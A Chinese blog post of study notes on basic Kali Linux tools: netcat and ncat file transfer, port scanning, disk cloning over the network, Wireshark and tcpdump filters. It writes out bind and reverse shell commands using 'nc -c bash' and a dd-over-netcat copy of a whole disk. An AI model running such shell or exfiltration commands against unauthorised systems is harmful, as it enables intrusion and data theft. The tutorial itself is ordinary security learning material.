链滴

Kali 中的基本工具

作者：someone38063
原文链接：https://ld246.com/article/1558352472372
来源网站：链滴

NETCAT

- 传输文件

A：nc -lp port >1.mp4
B：nc -vn ip port < 1.mp4 -q 1

(服务端A端监听端口，等待接收文件；客户端B连接A将文件传输到该端口，完成1秒后断开连接)

或者

A：nc -q 1 -lp 333 <a.mp4
B：nc -vn ip port > 2.mp4

(A监听端口，作为输入端；将文件输入该端口，当客户端B连接时，文件传输，完成1秒后断开连接)

- 传输目录

A：tar -cvf - muisic/ | nc -lp port -q 1
B：nc -vn ip port | tar -xvf -

(服务端A通过tar命令将目录打包成文件通过管道命令将文件输入到指定端口，客户端B连接端口通过道进行tar解压)

- 传输加密文件

A：nc -lp port | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
B：mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -vn ip port -q 1 {输入密钥}

(加密算法rijndael-256密钥 加密过程参数Fbq 解密过程参数Fbqd)

系统中mcrypt命令进行加密 安装：apt-get install mcrypt

- 流媒体服务器

A：cat 1.mp4 | nc -lp port
B：nc -vn ip port | mplayer -vo x11 -cache 3000 -

(mplayer为媒体播放器)

- 端口扫描

NETCAT默认使用TCP协议探测 所以端口为1~65535

nc -vnz ip 1-65535 (参数z：zero I/O mode [used for scanning] 扫描)
nc vnzu ip 1-1024（参数u：udp协议）

- 远程克隆硬盘

A：nc -lp port | dd of=/dev/sda（of：output file)
B：dd if=/dev/sda | nc -vn ip port -q 1 (if：input file)

(远程电子取证，可以将目标服务器硬盘远程复制，或者内容；块级别)

- 远程控制

正向：

A：nc -lp port -c bash　　(A被控制)
B：nc ip port

反向：

A：nc -lp port
B：nc ip port -c bash　　(B被控制)

注：Windows用户把bash改成cmd；

NCAT

NC缺乏加密和身份验证的能力

Ncat包含于nmap工具包中

A：ncat -c bash --allow ip -vnl port --ssl (allow参数允许某个IP地址连接 ssl做加密)
B：ncat -vn ip port --ssl

不同平台/系统的nc参数功能不尽相同

WIRESHARK

抓包嗅探协议分析

抓包引擎

Liberalpcap——Linux

Winpcap——Windows

基本使用

- ttltime to live)：生存时间，不同操作系统的ttl不同，Windows通常为128，Linux为64；如果一三层的IP数据包，在网络里进行传输，每过一个路由，ttl值会减1，直到ttl值减为0，如果还未到达目地址，这个数据包会在网络里被丢弃。

TCPDUMP

- 抓包

默认只抓前68个字节，通常可以抓到完整的包头

tcpdump -i eth0 -s 0 -w file.cap (i: interface，s: size(s=0，有多大抓多大)，w: write >file，r: rea，A: 以ASCII码显示具体内容，X: 以16进制显示具体内容，n: 不对包里的IP地址做名称解析，即不解成域名)

tcpdump -r a.cap读取a.cap的摘要信息

- 抓包筛选器

例如tcpdump -i eth0 tcp port 22

- 显示筛选器

原文链接：Kali 中的基本工具

tcpdump -n -r file.cap |awk {print $3} | sort -u (awk {print $3} ：显示第三行；sort -u：剔除相的)

tcpdump -n src host ip -r file.cap (显示来源于ip的数据包)

tcpdump -n dst host ip -r file.cap (显示目标地址是ip的数据包)

tcpdump -n protocol port 33 -r file.cap (protocol：指定协议)

高级筛选

tcp包头的flag位：

C E U A P R S F

W C R C S S Y I

R E G K H T N N

当ack和push为1时即：

CEUAPRSF

00011000 =16+8=24

例：筛选ack和push为1的数据包

tcpdump -An 'tcp[13]=24' -r file.cap

过程文档记录

Dradis（基于Web）

短期临时小团队资源共享

各种插件导入文件

Keepnote

Truecrypt